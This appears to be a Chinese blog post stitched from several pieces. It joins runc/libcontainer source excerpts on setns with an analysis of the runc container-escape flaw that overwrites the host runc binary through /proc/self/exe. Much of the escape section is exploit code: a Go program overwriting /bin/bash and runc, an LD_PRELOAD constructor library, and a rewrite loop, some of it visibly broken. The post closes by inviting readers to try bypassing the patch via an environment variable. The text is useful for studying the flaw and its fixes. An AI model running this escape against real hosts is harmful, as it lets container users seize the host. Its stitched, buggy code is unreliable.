// execSetns runs the process that executes C code to perform the setns calls // because setns support requires the C process to fork off a child and perform the setns // before the go runtime boots, we wait on the process to die and receive the child's pid // over the provided pipe. func (p *setnsProcess) execSetns() error { status, err := p.cmd.Process.Wait() if err != nil { p.cmd.Wait() return newSystemErrorWithCause(err, "waiting on setns process to finish") } if !status.Success() { p.cmd.Wait() return newSystemError(&exec.ExitError{ProcessState: status}) } var pid *pid if err := json.NewDecoder(p.messageSockPair.parent).Decode(&pid); err != nil { p.cmd.Wait() return newSystemErrorWithCause(err, "reading pid from init pipe") } // Clean up the zombie parent process // On Unix systems FindProcess always succeeds. firstChildProcess, _ := os.FindProcess(pid.PidFirstChild) // Ignore the error in case the child has already been reaped for any reason _, _ = firstChildProcess.Wait() process, err := os.FindProcess(pid.Pid) if err != nil { return err } p.cmd.Process = process p.process.ops = p return nil }
Docker 可以通过 exec 命令在一个存在的容器中运行一个进程,那么这个进程就需要通过 setns 系统调用加入到容器对应的 namespace 中,然而 setns 并不能正确的在 Go runtime 这样的多线程环境下工作,因此在实现一个容器的时候,这方面 Go 语言就远没有 C 语言来得直接、简洁。
Docker 实现 setns 的原理
第一步就是需要用 os/exec 启动一个新的进程。
cmd := &exec.Cmd{
Path: "/proc/self/exe",
Args: []string{"setns"},
}
cmd.Start()
第二步最为关键,必须让这个新的进程在启动 runtime 多线程环境之前完成 setns 相关操作, Go 语言并没有直接提供在一个程序启动前执行某段代码的机制,但 C 语言却可以通过 gcc 的 扩展 __attribute__((constructor)) 来实现程序启动前执行特定代码,因此 Go 就可以通过 cgo 嵌入 这样的一段 C 代码来完成 runtime 启动前执行特定的 C 代码。
Docker 实现如下:
// +build linux,!gccgo
package nsenter
/*
#cgo CFLAGS: -Wall
extern void nsexec();
void __attribute__((constructor)) init(void) {
nsexec();
}
*/
import "C"
__attribute__((constructor)) 修饰的函数在main函数之前执行
__attribute__((destructor)) 修饰的函数在main函数之后执行
这段代码就会在 Go 程序真正启动前执行这里定义的 init() 函数,然后执行 nsexec(), nsexec 函数里就可以干我们想干的所有事情了,有兴趣的看这里 void nsexec() 。注意这里定义的 nsenter 包并不需要被显示使用,只需要 import 被编译进去即可。
int setns(int fd, int nstype) { return syscall(SYS_setns, fd, nstype); }
int setns(int fd, int nstype) { return syscall(SYS_setns, fd, nstype); }
if (config.cloneflags & CLONE_NEWUSER) { if (unshare(CLONE_NEWUSER) < 0) bail("failed to unshare user namespace"); config.cloneflags &= ~CLONE_NEWUSER; /* * We don't have the privileges to do any mapping here (see the * clone_parent rant). So signal our parent to hook us up. */ /* Switching is only necessary if we joined namespaces. */ if (config.namespaces) { if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0) bail("failed to set process as dumpable"); } s = SYNC_USERMAP_PLS; if (write(syncfd, &s, sizeof(s)) != sizeof(s)) bail("failed to sync with parent: write(SYNC_USERMAP_PLS)"); /* ... wait for mapping ... */ if (read(syncfd, &s, sizeof(s)) != sizeof(s)) bail("failed to sync with parent: read(SYNC_USERMAP_ACK)"); if (s != SYNC_USERMAP_ACK) bail("failed to sync with parent: SYNC_USERMAP_ACK: got %u", s); /* Switching is only necessary if we joined namespaces. */ if (config.namespaces) { if (prctl(PR_SET_DUMPABLE, 0, 0, 0, 0) < 0) bail("failed to set process as dumpable"); } /* Become root in the namespace proper. */ if (setresuid(0, 0, 0) < 0) bail("failed to become root in user namespace"); } /* * Unshare all of the namespaces. Now, it should be noted that this * ordering might break in the future (especially with rootless * containers). But for now, it's not possible to split this into * CLONE_NEWUSER + [the rest] because of some RHEL SELinux issues. * * Note that we don't merge this with clone() because there were * some old kernel versions where clone(CLONE_PARENT | CLONE_NEWPID) * was broken, so we'll just do it the long way anyway. */ if (unshare(config.cloneflags & ~CLONE_NEWCGROUP) < 0) bail("failed to unshare namespaces");
nsexec.c
nsexec.c是定义在/libcontainer/nsenter/nsexec.c中的C语言代码,其功能就是依据bootstrapData重新设置init进程的namespace,user等属性。关于nsexec.c的代码,还没作详细地研究,现在只知道只要import该包,代码就生效了:
1
|
import _ "github.com/opencontainers/runc/libcontainer/nsenter"
|
nsexec.c会从”_LIBCONTAINER_INITPIPE”环境变量中拿到pipe,并读取bootstrapData。然后,nsexec.c会调用clone()进行复制,在clone()时,传入参数CLONE_PARENT及命令空间参数,使用子进程和父进程成为兄弟关系,且拥有了自己的命名空间。接着调用setns()进行已存在的命名空间的处理。
所以不妨可以这样认为,nsexec.c具有劫持init进程的功能。
来看start()中等待的方法execSetns(),定义在/libcontainer/process_linux.go中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
func (p *initProcess) execSetns() error {
//***等待进程执行完成***//
status, err := p.cmd.Process.Wait()
if err != nil {
p.cmd.Wait()
return err
}
if !status.Success() {
p.cmd.Wait()
return &exec.ExitError{ProcessState: status}
}
var pid *pid
if err := json.NewDecoder(p.parentPipe).Decode(&pid); err != nil {
p.cmd.Wait()
return err
}
process, err := os.FindProcess(pid.Pid)
if err != nil {
return err
}
p.cmd.Process = process
p.process.ops = p
return nil
}
|
可以看到,execSetns()会等cmd的Process执行完成后,从parentPipe中读取新进程的信息,并把新进程赋值给cmd,而这个新进程就是经过nsexec.c处理过的进程。这样,cmd中的进程就是在正确的namespace中的了。所以,在execSetns()中的Process.Wait(),等待的是nsexec.c的完成,nsexec.c执行完后,会自动交还执行权限,即init进程会往下执行。
nsexec.c在/main_unix.go中被import:
1
|
_ "github.com/opencontainers/runc/libcontainer/nsenter"
|
在翻漏洞的偶然看见这个洞,发现很有意思,docker 容器逃逸,出现问题在于docker 里面的runc。runc是docker中最为核心的部分,容器的创建,运行,销毁等等操作最终都将通过调用runc完成。不仅仅是docker会受影响,依赖于runc的应用都会受到影响,该漏洞将会Rewrite runc,执行任意命令,下面我们来看一看它的实现方式。
- initProcess.start()。
- InitProcess.start() 容器的初始化配置,此处 cmd.start() 调用实则是 runC init命令执行
- InitProcess.start() 容器的初始化配置,此处 cmd.start() 调用实则是 runC init命令执行:
# proc && execve
`/proc` 是一个伪文件系统,这个伪文件系统让你可以和内核内部数据结构进行交互,与真正的文件系统不同的是它是存在于内存中而不是真正的硬盘上,linux 下有一个说法一切皆文件,所有在linux上运行的程序都在`/proc`下有一个自己的目录,目录名字为程序的Pid号,目录里面存储着许多关于进程的信息,列如进程状态status,进程启动时的相关命令cmdline,进程的内存映像maps,进程包含的所有相关的文件描述符fd文件夹等等
其中 `/proc/pid/fd` 中包含着进程打开的所有文件的文件描述符,这些文件描述符看起来像链接文件一样,通过ls -l 你可以看见这些文件的具体位置,但是它们并不是简单连接文件,你可以通过这些文件描述符再打开这些文件,你可以重新获得一个新的文件描述符,即使这些文件在你所在的位置是不能访问,你依然可以打开。
还一个 `/proc/pid/exe` 文件,这个文件指向进程本身的可执行文件。
除了这些进程pid文件目录内的文件,还有一个比较特别的`/proc/self`,这文件夹始终指向的是访问这个目录`/proc/pid`文件夹,所以除了通过自己的pid号访问进程信息,还可以通过`/proc/self` 来访问,不需要知道自己的pid号。
`execve` 是一个内核系统调用函数,`execve()` 和`fork()`,`clone() `不一样,它不需要启动新的进程,它直接替换当前执行的文件为新的文件,为新的可执行文件分配新初始化的堆栈和数据段。替换可执行文件,意味着释放调用`execve()`文件的IO,但这个过程默认是不释放`/proc/pid/fd`中的打开的文件描述符,如果你在打开/proc/pid/fd中文件的时候,特别的传参`O_CLOEXEC `或者 `FD_CLOEXEC`,那么在`execve `替换进程的时候,将关闭所有设置了这个选项的`fd`,阻止子进程继承父进程打开的`fd`。
# 动态链接
在可执行文件运行的时候,由操作系统的装载程序加载库,比如在linux 下由`ld.so,ld-linux.so` 查找并且装载程序所依赖的动态链接对象。这里有一个需要的注意的
```sh
/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 /bin/ls -al /proc/self/exe
```
这个时候 `/proc/self/exe` 并不是指向你所想象的那样为 `/bin/ls`, 而是`/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2`
还有一个熟悉的LD_PRELOAD的环境变量,用于指定的动态库加载,优先级最高,可以用他做很多事,这里也可以用到。
# 漏洞成因
尽管docker的本意并不是来做沙盒的,容器包含着虚拟的环境,在虚拟的文件系统里面依然是root 权限,但也是算比较低的权限,也默认了容器的安全性。看似容器独立存在,不可避免的需要去思考这个过程是不是存在问题。
进入正题,runc 完成容器的初始化 ,运行 ,执行命令。我们首先来看看它是如何执行命令的。我们首先启动一个基础的Ubuntu容器
![图片](http://m4p1e.com/assets/img/runc_1.png)
接着在容器里面运行下面监听进程启动程序
```go
package main
import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)
func main() {
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
}
```
![图片](http://m4p1e.com/assets/img/runc_2.png)
上面过程我们通过监听 runc 和 ls 的执行,所以我们只需要执行
```sh
docker exec -it f3c ls
```
监听输出如下图
![图片](http://m4p1e.com/assets/img/runc_3.png)
首先是运行了`docker-runc init`,后执行了`ls`,可以看见过程中pid号没有变,可以想到runc 在启动新的进程的时候用的是`syscall.Exec()` 即`execve(),`在容器里面我们并不能运行docker-runc 因为namespace不一样,容器类的一切都被限定单独的namespace里面,但是你可以看到我是可以访问`/proc`下所有进程的信息,通过遍历/proc,我们可以得到runc 进程的pid号,并且我可以访问这个pid号下所有关于runc 的信息。同样包括runc的执行文件 ->`/proc/pid[runc]/exe,`这意味着我们是不是可以去尝试修改这个可执行文件,答案是不行,因为runc正在运行,如果你试着open 并且写东西进去,你会得到*invalid arguments*。
如果想要写东西覆盖runc 必须等到runc运行结束。什么时候结束? 当`execve()` 运行新可执行文件。但是当runc 结束运行的时候,/proc/pid/exe将会被替换成新二进制可执行文件。所以这个时候去获得一个runc的fd文件描述符,并且保留下来,即 `open() `,` /proc/self/exe`,并返回对应的fd, 这里打开的时候只需要**O_RDONLY**,这个时候你可以去看`/proc/self/fd/`下多了一个runc本身的fd,接着前面说到过,通过`execve`启动的新可执行文件是可以保留父进程打开的fd。
当`execve()` 执行,会首先释放runc的IO ,这个时候就可以去写runc,通过前面打开 `/proc/self/exe` 拿到的fd,找到`/proc/pid/fd/`下对应的fd,这个时候可以用`open(os.O_RDWR) `打开runc,并且写入payload重置runc。
接着需要去思考如何在runc init 的时候去在进程里面进行open操作, 三种方法,分两种情况讨论:
1. 在已经存在容器可以执行文件,通过docker exec 触发
2. 构造恶意的容器,直接通过docker run 触发
第一种情况:
已经在容器里面了,你可以通过前面的方法等待docker-runc init 的执行,`open()` runc 获取fd, 再等待runc IO被释放。其中你可以通过覆盖docker exec 执行的二进制文件为 `#!/proc/self/exe`,到达覆盖之后执行的效果。
比如 /bin/sh
```go
package main
import (
"fmt"
"io/ioutil"
_ "os"
"strconv"
"strings"
)
var payload = "#!/bin/bash
echo hello > /tmp/funny"
func main() {
fd, err := os.Create("/bin/bash")
if err != nil {
fmt.Println(err)
return
}
fmt.Fprintln(fd, "#!/proc/self/exe")
err = fd.Close()
if err != nil {
fmt.Println(err)
return
}
fmt.Println("[+] Overwritten /bin/sh successfully")
//fmt.Println("[+] Waiting docker exec")
var found int
for found == 0 {
pids, err := ioutil.ReadDir("/proc")
if err != nil {
fmt.Println(err)
return
}
for _, f := range pids {
fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")
fstring := string(fbytes)
if strings.Contains(fstring, "runc") || strings.Contains(fstring,"ls") {
fmt.Println(fstring)
fmt.Println("[+] Found the PID:", f.Name())
_, err = strconv.Atoi(f.Name())
if err != nil {
fmt.Println(err)
return
}
}
}
}
var handleFd = -1
for handleFd == -1 {
handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)
if int(handle.Fd()) > 0 {
handleFd = int(handle.Fd())
}
}
fmt.Println("[+] Successfully got the file handle")
for {
writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
if int(writeHandle.Fd()) > 0 {
fmt.Println("[+] Successfully got write handle", writeHandle)
writeHandle.Write([]byte(payload))
return
}
}
}
```
流程可以理解为
循环等待 `runc init`的 PID --> `open("/proc/pid/exe",O_RDONLY)` -->循环等待`execve()`释放 runc的IO并覆盖runc二进制文件 --> `execve() `执行被覆盖 runc。
执行权限任意命令的权限为运行docker exec的权限。
第二种情况:
构造恶意的镜像,在运行容器的时候触发。这个时候你需要考虑,如何hook runc的运行过程,首先想到就是动态链接,可以设置环境变量LD_PRELOAD来给runc 添加一个动态库。这个动态库需要包含一个全局的构造函数,在被加载时候首先执行,即可以通过
```c
#include <stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>
__attribute__ ((constructor)) void foo(void)
{
int fd = open("/proc/self/exe", O_RDONLY);
if (fd == -1 ) {
printf("HAX: can't open /proc/self/exe
");
return;
}
printf("HAX: fd is %d
", fd);
char *argv2[3];
argv2[0] = strdup("/rewrite");
char buf[128];
snprintf(buf, 128, "/proc/self/fd/%d", fd);
argv2[1] = buf;
argv2[2] = 0;
const char *ld_preload = "LD_PRELOAD";
const char *empty = "";
setevn(ld_preload,empty,1)
execve("/rewrite", argv2, NULL);
}
```
q3k 还提到一种方法,替换docker-runc中的动态加载库,这种方法和版本有关,我们可以先看一看docker-runc的动态加载库,
![图片](http://m4p1e.com/assets/img/runc_4.png)
可以看到有一个比较特殊的libseccomp,先去分析一下它的依赖,
![图片](http://m4p1e.com/assets/img/runc_5.png)
直接`apt-get source libseccomp`,seccomp 是linux 下一种安全模式,针对限制程序使用系统调用,PWN选手应该对他属性,很多用来做沙盒的环境,可以简单看一下的它的使用
列一些比较常见调用它的api
`seccomp_init` 初始化过滤状态,
`seccomp_rule_add` 增加过滤规则
`seccomp_load` 应用已经配置好的过滤内容
回到主题,前面说到我们这里可以去替换 `libseccomp.so `,在里面里面同样可以加一个全局的构造函数,在哪加呢? 可以去提供上面接口定义的位置`src/api.c `结尾直接加 。
前面说这种方法有一定的局限的情况,我尝试在低版本的docker-runc 里面是没有加载`libseccomp.so`,那么这种方法就不适用了,当然你也可以选择替换其他的动态库,还有一点q3k 的poc 里用来重写runc的可执行文件有一点小问题,我直接用它的poc时10次成功一次,发现问题出在写runc上,一直报错 Text file buzy , 怎么runc还会被占用呢,难道runc 在容器里又一次运行了?,经过我测试,在使用docker exec 执行命令的时候,容器里面只有 docker-runc init 一次,那么问题肯定出在容器外,由于我不想去看runc 实现过程,我把前面的简单的监测进程的程序再一次放到了容器外,于此同时再用docker exec 执行一次命令,如图下:
![图片](http://m4p1e.com/assets/img/runc_6.png)
果然在容器外面 runc 还会被再次运行,runc state 用来输出docker exec 执行结果,同样也有runc kill 和 runc delete 在后面的运行。所以这个写runc的过程可以在一个循环队列里面。稍微的改了改q3k的rewrite
```c
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <unistd.h>
int main(int argc, char **argv) {
extern int errno;
const char *poc = "#!/bin/bash
/usr/bin/touch /root/runc_test";
printf("HAX2: argv: %s
", argv[1]);
while(1){
int fd = open(argv[1], O_RDWR|O_TRUNC);
if(fd>0){
printf("HAX2: fd: %d
", fd);
int res = write(fd, poc, strlen(poc));
printf("HAX2: res: %d, %d
", res, errno);
return 0;
}
}
return 0;
}
```
可以看到只要重写了runc ,docker 会自动帮你再次运行runc,下面看一看官方,对此的修复方式。
# 修复
官方前前后后修复了很多次,最终可以分为三种方法:
1. memfd
2. tmpfile
3. bind-mount
其中tmpfile 使用文件的方法又可以分为,`open(2)`的 `O_TMPFILE` 和 `mkostemp(3)`.
接下来看看修复流程 ->
根据官方的commit runc/libcontainer/nsenter 多了一个cloned_binary.c,
并且runc/libcontainer/nsenter/nsexec.c 中` nsexec()`多了一行判断
```c
if (ensure_cloned_binary() < 0)
bail("could not ensure we are a cloned binary");
```
根据nsenter 的doc 介绍,这是一个用来在runc init 之前设置namespace用的init 构造器,具体可以看看 nsenter.go 里面的内容
```go
package nsenter
/*
#cgo CFLAGS: -Wall
extern void nsexec();
void __attribute__((constructor)) init(void) {
nsexec();
}
*/
import "C"
```
使用了`cgo`包,根据`cgo`的语法,如果`import "C" `紧跟随在一段注释后面 ,那么注释里面的东西将会被被当做c 执行,即每次只要我们 `import nsenter` 包,就会执行`nsexec()`, nsenter 只在runc/init.go 下被引用,
```go
package main
import (
"os"
"runtime"
"github.com/opencontainers/runc/libcontainer"
_ "github.com/opencontainers/runc/libcontainer/nsenter"
"github.com/urfave/cli"
)
func init() {
if len(os.Args) > 1 && os.Args[1] == "init" {
runtime.GOMAXPROCS(1)
runtime.LockOSThread()
}
}
var initCommand = cli.Command{
Name: "init",
Usage: `initialize the namespaces and launch the process (do not call it outside of runc)`,
Action: func(context *cli.Context) error {
factory, _ := libcontainer.New("")
if err := factory.StartInitialization(); err != nil {
os.Exit(1)
}
panic("libcontainer: container init failed to exec")
},
}
```
可以看到只要执行 runc init的时候,nsexec()就会被执行,现在再具体去看看`ensure_cloned_binary() `,它用来判断`/proc/self/exe `是不是经过处理过,为了防止runc 被重写,官方最开始用的是`memfd_create(2)`,可以用它在内存中创建一个匿名文件,并返回一个文件描述符fd,同时你可以传递一个 **MFD_ALLOW_SEALING flag**,它可以将允许文件密封操作,即将无法修改文件所在的,先将`/proc/self/exe` 写入 这个文件内,再用 `fcntl(2) ` **F_ADD_SEALS**将这段文件内存密封起来。这样一来,你再用open(2),打开`/proc/self/exe`去写,将不会被允许。
同时还有一个` open(2)` **O_TMPFILE** 方法,将`/proc/self/exe` 写入 临时文件,这种方法受限于linux 内核版本问题,需要 >=3.11,而且也受限于
glibc。官方又扩展了另一种`mkostemp(3)`的方法用来写临时文件,没什么特别的。
`上面三种方法都显得比较浪费,`memfd_create(2) 的使用直接往内存写了一个runc 大概 10M,所以官方又提供了一种看起来是最简单的方法,用 `bind-mount`,直接使用 绑定挂载`/proc/self/exe` 到一个只能读的节点上,打开这个节点,再把这个挂载节点去掉。避免了对`/proc/self/exe `拷贝过程,但是和tmpfile 一样,你需要先创建一个临时文件,用来挂载`/proc/self/exe`。
整个逃逸过程精髓在于对 `/proc/pid` 下结构的理解,`/proc/self/exe `指向进程的二进制文件本身,`/proc/self/fd` 可以继承父进程打开的文件描述符。`namespace`限制了很多东西,还有`capabilities`,限制了想通过`/proc/exe/cwd` 拿到runc的真实的路径。runc其实就是管理`libcontainer` 的客户端。问题还是在`libcontainer`上,在官方最后一次commit中,在判断是否经过处理的/proc/self/exe,会有一步判断是否设置了环境变量 **a _LIBCONTAINER_CLONED_BINARY** 标记处理过,如果我先设置这个环境变量会怎么样,有兴趣的朋友去试试。